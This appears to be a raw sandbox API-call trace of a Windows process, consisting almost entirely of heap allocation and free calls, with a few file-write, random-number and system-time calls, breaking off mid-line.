[0121.112] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x1024) returned 0x7d0920 [0121.112] GetLastError () returned 0x0 [0121.112] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0121.112] SetLastError (dwErrCode=0x0) [0121.112] GetLastError () returned 0x0 [0121.112] SetLastError (dwErrCode=0x0) [0121.112] WriteFile (in: hFile=0x94, lpBuffer=0x18d2ec*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x18d2cc, lpOverlapped=0x0 | out: lpBuffer=0x18d2ec*, lpNumberOfBytesWritten=0x18d2cc*=0x2a, lpOverlapped=0x0) returned 1 [0121.113] GetLastError () returned 0x0 [0121.113] SetLastError (dwErrCode=0x0) [0121.113] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920) returned 1 [0121.113] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920 | out: hHeap=0x7b0000) returned 1 [0121.114] CloseHandle (hObject=0x94) returned 1 [0121.114] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb6d0) returned 1 [0121.114] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb6d0 | out: hHeap=0x7b0000) returned 1 [0121.115] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0) returned 1 [0121.115] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0 | out: hHeap=0x7b0000) returned 1 [0121.115] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660) returned 1 [0121.115] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660 | out: hHeap=0x7b0000) returned 1 [0121.115] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628) returned 1 [0121.115] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb628 | out: hHeap=0x7b0000) returned 1 [0121.115] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb628 [0121.115] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x314) returned 0x7d0920 [0121.119] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x48b) returned 0x7d0c40 [0121.119] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920) returned 1 [0121.119] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920 | out: hHeap=0x7b0000) returned 1 [0121.119] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x74) returned 0x7bf620 [0121.120] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3c) returned 0x7c3d20 [0121.120] GetModuleHandleExW (in: dwFlags=0x5, lpModuleName=0x5ef698, phModule=0x18e9ac | out: phModule=0x18e9ac*=0x400000) returned 1 [0121.120] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3c) returned 0x7c3d68 [0121.120] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3c) returned 0x7c3db0 [0121.120] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb660 [0121.120] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x34) returned 0x7d06a8 [0121.120] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x34) returned 0x7cfdb0 [0121.120] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x84) returned 0x7cfdf0 [0121.120] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x74) returned 0x7bf6a0 [0121.121] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3c) returned 0x7c3df8 [0121.121] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb5f0 [0121.121] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x34) returned 0x7d0920 [0121.121] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x34) returned 0x7d0960 [0121.121] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x74) returned 0x7bf720 [0121.121] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3c) returned 0x7c3e40 [0121.121] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb6d0 [0121.121] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x34) returned 0x7d09a0 [0121.121] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x34) returned 0x7d10f0 [0121.121] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x124) returned 0x7d09e0 [0121.121] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2f) returned 0x7cb778 [0121.121] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d09e0) returned 1 [0121.122] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d09e0 | out: hHeap=0x7b0000) returned 1 [0121.122] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x124) returned 0x7d09e0 [0121.122] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x7c) returned 0x7d0b10 [0121.122] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0xd4) returned 0x7d20d8 [0121.122] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0b10) returned 1 [0121.122] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0b10 | out: hHeap=0x7b0000) returned 1 [0121.122] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x12c) returned 0x7d21b8 [0121.122] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8) returned 1 [0121.122] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8 | out: hHeap=0x7b0000) returned 1 [0121.122] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x1d8) returned 0x7d22f0 [0121.122] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d21b8) returned 1 [0121.122] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d21b8 | out: hHeap=0x7b0000) returned 1 [0121.122] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x284) returned 0x7d24d0 [0121.122] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d22f0) returned 1 [0121.122] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d22f0 | out: hHeap=0x7b0000) returned 1 [0121.122] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x388) returned 0x7d20d8 [0121.122] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d24d0) returned 1 [0121.122] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d24d0 | out: hHeap=0x7b0000) returned 1 [0121.122] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d09e0) returned 1 [0121.122] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d09e0 | out: hHeap=0x7b0000) returned 1 [0121.122] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x25) returned 0x7cad78 [0121.123] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x24a) returned 0x7d09e0 [0121.123] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfdf0) returned 1 [0121.123] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfdf0 | out: hHeap=0x7b0000) returned 1 [0121.123] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d09a0) returned 1 [0121.123] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d09a0 | out: hHeap=0x7b0000) returned 1 [0121.123] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d10f0) returned 1 [0121.123] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d10f0 | out: hHeap=0x7b0000) returned 1 [0121.123] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb6d0) returned 1 [0121.123] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb6d0 | out: hHeap=0x7b0000) returned 1 [0121.123] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3e40) returned 1 [0121.123] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3e40 | out: hHeap=0x7b0000) returned 1 [0121.123] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf720) returned 1 [0121.123] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf720 | out: hHeap=0x7b0000) returned 1 [0121.123] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8) returned 1 [0121.123] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8 | out: hHeap=0x7b0000) returned 1 [0121.123] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920) returned 1 [0121.123] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920 | out: hHeap=0x7b0000) returned 1 [0121.123] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0960) returned 1 [0121.123] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0960 | out: hHeap=0x7b0000) returned 1 [0121.124] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0) returned 1 [0121.124] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0 | out: hHeap=0x7b0000) returned 1 [0121.124] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3df8) returned 1 [0121.124] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3df8 | out: hHeap=0x7b0000) returned 1 [0121.124] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0) returned 1 [0121.124] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0121.124] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778) returned 1 [0121.124] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778 | out: hHeap=0x7b0000) returned 1 [0121.124] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cad78) returned 1 [0121.124] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cad78 | out: hHeap=0x7b0000) returned 1 [0121.124] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x30) returned 0x7cb778 [0121.124] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb5f0 [0121.124] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x34) returned 0x7d10f0 [0121.124] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x2c) returned 0x7cb6d0 [0121.124] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x232) returned 0x7d20d8 [0121.124] GetLastError () returned 0x0 [0121.125] GetLastError () returned 0x0 [0121.125] SetLastError (dwErrCode=0x0) [0121.125] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x1ac) returned 0x7d2318 [0121.125] GetLastError () returned 0x0 [0121.125] SetLastError (dwErrCode=0x0) [0121.125] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x30) returned 0x7cb7b0 [0121.125] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x3c) returned 0x7c3df8 [0121.125] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x84) returned 0x7cfdf0 [0121.125] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x64) returned 0x7d0920 [0121.125] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x30) returned 0x7cb7e8 [0121.181] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x30) returned 0x7cb820 [0121.181] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x30) returned 0x7cb858 [0121.181] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x30) returned 0x7cb890 [0121.181] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x0, Size=0x30) returned 0x7d24e8 [0121.181] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920) returned 1 [0121.181] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7d0920, Size=0xa4) returned 0x7d0920 [0121.181] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920) returned 1 [0121.181] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7d0920, Size=0x124) returned 0x7d34d0 [0121.181] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d34d0) returned 1 [0121.181] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7d34d0, Size=0x224) returned 0x7d4600 [0121.181] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d4600) returned 1 [0121.182] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7d4600, Size=0x424) returned 0x7d6030 [0121.182] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d6030) returned 1 [0121.182] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7d6030, Size=0x824) returned 0x7db060 [0121.182] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7db060) returned 1 [0121.182] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7db060, Size=0x1024) returned 0x7e2890 [0121.184] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e2890) returned 1 [0121.184] RtlReAllocateHeap (Heap=0x7b0000, Flags=0x0, Ptr=0x7e2890, Size=0x2024) returned 0x7f18c0 [0121.184] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8) returned 1 [0121.184] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d20d8 | out: hHeap=0x7b0000) returned 1 [0121.184] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d10f0) returned 1 [0121.184] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d10f0 | out: hHeap=0x7b0000) returned 1 [0121.184] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb6d0) returned 1 [0121.184] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb6d0 | out: hHeap=0x7b0000) returned 1 [0121.184] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0) returned 1 [0121.184] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5f0 | out: hHeap=0x7b0000) returned 1 [0121.184] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778) returned 1 [0121.184] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778 | out: hHeap=0x7b0000) returned 1 [0121.185] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3e40) returned 1 [0121.185] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3e40 | out: hHeap=0x7b0000) returned 1 [0121.185] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920) returned 1 [0121.185] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0920 | out: hHeap=0x7b0000) returned 1 [0121.185] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d09e0) returned 1 [0121.185] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d09e0 | out: hHeap=0x7b0000) returned 1 [0121.185] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8) returned 1 [0121.185] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d06a8 | out: hHeap=0x7b0000) returned 1 [0121.185] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfdb0) returned 1 [0121.185] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cfdb0 | out: hHeap=0x7b0000) returned 1 [0121.185] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660) returned 1 [0121.185] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb660 | out: hHeap=0x7b0000) returned 1 [0121.185] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3db0) returned 1 [0121.185] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3db0 | out: hHeap=0x7b0000) returned 1 [0121.185] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf620) returned 1 [0121.185] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf620 | out: hHeap=0x7b0000) returned 1 [0121.185] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0720) returned 1 [0121.185] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0720 | out: hHeap=0x7b0000) returned 1 [0121.186] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8) returned 1 [0121.186] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8 | out: hHeap=0x7b0000) returned 1 [0121.187] BCryptGenRandom (in: hAlgorithm=0x0, pbBuffer=0x7fb910, cbBuffer=0x20, dwFlags=0x2 | out: pbBuffer=0x7fb910) returned 0x0 [0121.826] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3f60) returned 1 [0121.826] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3f60 | out: hHeap=0x7b0000) returned 1 [0121.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e980 | out: lpSystemTimeAsFileTime=0x18e980*(dwLowDateTime=0x9d114000, dwHighDateTime=0x1d5ca1f)) [0121.826] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3f60) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3f60 | out: hHeap=0x7b0000) returned 1 [0121.827] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9a40) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9a40 | out: hHeap=0x7b0000) returned 1 [0121.827] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9a40) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9a40 | out: hHeap=0x7b0000) returned 1 [0121.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e960 | out: lpSystemTimeAsFileTime=0x18e960*(dwLowDateTime=0x9d114000, dwHighDateTime=0x1d5ca1f)) [0121.827] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fb8f0) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fb8f0 | out: hHeap=0x7b0000) returned 1 [0121.827] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fe920) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fe920 | out: hHeap=0x7b0000) returned 1 [0121.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e918 | out: lpSystemTimeAsFileTime=0x18e918*(dwLowDateTime=0x9d114000, dwHighDateTime=0x1d5ca1f)) [0121.827] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9a40) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9a40 | out: hHeap=0x7b0000) returned 1 [0121.827] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3f60) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7c3f60 | out: hHeap=0x7b0000) returned 1 [0121.827] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0 | out: hHeap=0x7b0000) returned 1 [0121.827] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0 | out: hHeap=0x7b0000) returned 1 [0121.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e974 | out: lpSystemTimeAsFileTime=0x18e974*(dwLowDateTime=0x9d114000, dwHighDateTime=0x1d5ca1f)) [0121.827] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fb8f0) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fb8f0 | out: hHeap=0x7b0000) returned 1 [0121.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18e980 | out: lpSystemTimeAsFileTime=0x18e980*(dwLowDateTime=0x9d114000, dwHighDateTime=0x1d5ca1f)) [0121.827] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0 | out: hHeap=0x7b0000) returned 1 [0121.827] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0) returned 1 [0121.827] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f9cb0 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae08) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae08 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae38) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae38 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caf88) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caf88 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae38) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae38 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caf58) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caf58 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae68) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae68 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caef8) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caef8 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cada8 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae08) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae08 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb5b8 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae98) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cae98 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7d90) returned 1 [0121.828] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7d90 | out: hHeap=0x7b0000) returned 1 [0121.828] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778) returned 1 [0121.829] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cb778 | out: hHeap=0x7b0000) returned 1 [0121.829] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e38) returned 1 [0121.829] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e38 | out: hHeap=0x7b0000) returned 1 [0121.829] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e32a0) returned 1 [0121.829] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e32a0 | out: hHeap=0x7b0000) returned 1 [0121.829] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fe920) returned 1 [0121.829] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fe920 | out: hHeap=0x7b0000) returned 1 [0121.829] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cadd8) returned 1 [0121.829] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7cadd8 | out: hHeap=0x7b0000) returned 1 [0121.829] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0b50) returned 1 [0121.829] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7d0b50 | out: hHeap=0x7b0000) returned 1 [0121.829] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7db5a8) returned 1 [0121.829] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7db5a8 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e32a0) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e32a0 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e00) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7f7e00 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e34d0) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7e34d0 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fed58) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fed58 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7ff7b8) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7ff7b8 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fef88) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7fef88 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caec8) returned 1 [0121.830] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7caec8 | out: hHeap=0x7b0000) returned 1 [0121.830] HeapValidate (hHeap=0x7b0000, dwFlags=0x0, 